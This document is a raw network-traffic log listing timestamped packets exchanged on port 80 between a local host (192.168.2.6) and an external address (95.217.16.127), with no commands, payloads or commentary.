Jan 25, 2023 21:04:28.394583941 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394606113 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394610882 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394635916 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394644022 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394661903 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394669056 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394686937 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394731998 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394756079 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394759893 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394759893 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394759893 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394778013 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394783974 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394799948 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394809961 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394833088 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394836903 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394862890 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394887924 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394913912 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394937992 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394963026 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394974947 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394987106 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395006895 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.395014048 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395040989 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395051003 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.395066023 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395091057 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395102978 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.395116091 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395128965 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.395143032 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395168066 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395169973 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.395194054 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395219088 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395219088 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.395242929 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.395267963 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395287037 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.395292997 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395318985 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.395329952 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395350933 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395359039 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.395373106 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395395041 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395401955 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.395416021 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395436049 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395454884 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395459890 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.395477057 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395484924 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.395498037 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395519972 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395529985 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.395540953 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395560026 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395566940 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.395581007 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395590067 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.395602942 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.395636082 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.395668030 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.433273077 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.433334112 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.433379889 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.433423996 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.433466911 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.433485031 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.433551073 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.433573008 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.433579922 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.433624029 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.433665991 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.433696985 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.433712959 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.433725119 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.433770895 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.433785915 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.433835983 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.433837891 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.433887005 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.433916092 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.433971882 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.433985949 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.434026003 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.434031963 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.434053898 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.434083939 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.434091091 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.434096098 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.434122086 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.434139013 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.434175014 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.434181929 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.434235096 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.434242964 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.434279919 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.434283972 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.434346914 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.434396029 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.434423923 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.434456110 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.434468031 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.434484005 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.434520006 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.434520960 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.434564114 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.434598923 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.434652090 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.434669018 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.434720039 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.434777975 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.434851885 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.434855938 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.434885025 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.434916019 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.434933901 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.434948921 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.434995890 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.434999943 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.435060978 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.435061932 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.435112953 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.435126066 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.435167074 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.435203075 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.435204983 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.435241938 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.435261011 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.435291052 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.435343981 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.435350895 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.435388088 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.435398102 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.435415983 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.435451984 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.435467958 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.435508966 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.435547113 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.435576916 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.435592890 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.435602903 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.435625076 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.435640097 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.435661077 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.435677052 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.435719013 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.435725927 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.435781002 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.435792923 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.435836077 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.435848951 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.435892105 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.435909986 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.435924053 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.435950041 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.435950994 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.435975075 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.435987949 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.435992002 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436022043 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436050892 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436079979 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436094999 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436094999 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436108112 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436111927 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436122894 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436137915 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436150074 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436167002 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436177969 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436197042 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436208010 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436225891 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436235905 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436255932 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436269045 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436285019 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436295986 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436315060 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436332941 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436346054 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436361074 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436376095 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436386108 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436405897 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436415911 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436435938 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436444044 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436465979 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436474085 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436496019 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436503887 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436526060 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436536074 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436554909 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436563015 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436585903 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436593056 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436614037 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436625957 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436642885 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436655998 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436671972 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436697006 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436698914 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436728001 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436753988 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436768055 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436781883 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436784983 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436784983 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436805010 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436810970 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436822891 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436839104 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436851025 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436866045 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436886072 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436894894 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436922073 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436923981 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436949968 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436954975 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436964989 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.436985970 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.436994076 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437021971 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437022924 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437052011 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437063932 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437083960 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437093973 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437118053 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437131882 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437145948 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437156916 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437175035 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437199116 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437206030 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437211037 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437236071 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437243938 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437264919 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437280893 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437299967 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437314034 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437328100 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437340975 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437356949 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437371969 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437385082 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437402010 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437414885 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437432051 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437444925 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437472105 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437477112 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437499046 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437500954 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437510967 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437530994 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437539101 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437558889 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437566996 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437588930 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437601089 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437617064 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437628984 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437647104 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437654972 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437675953 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437684059 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437705040 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437715054 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437735081 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437741995 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437763929 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437773943 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437793970 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437799931 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437823057 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437849045 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437849998 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437876940 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437880039 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437908888 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437911034 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437922955 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437942028 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437949896 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.437972069 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.437978983 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.438000917 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.438009977 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.438039064 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.438040018 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.438071012 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.438080072 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.438101053 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.438112974 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.438128948 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.438138962 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.438158989 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.438183069 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.438186884 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.438203096 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.438218117 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.438232899 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.438247919 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.438272953 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.438275099 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.438287020 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.438304901 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.438329935 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.438333035 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.438344002 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.438364029 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.438375950 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.438394070 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.438406944 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.438424110 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.438451052 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.438452005 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.438478947 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.438478947 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.438494921 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.438508987 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.438534021 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.438535929 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.438546896 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.438580990 CET	49715	80	192.168.2.6	95.217.16.127
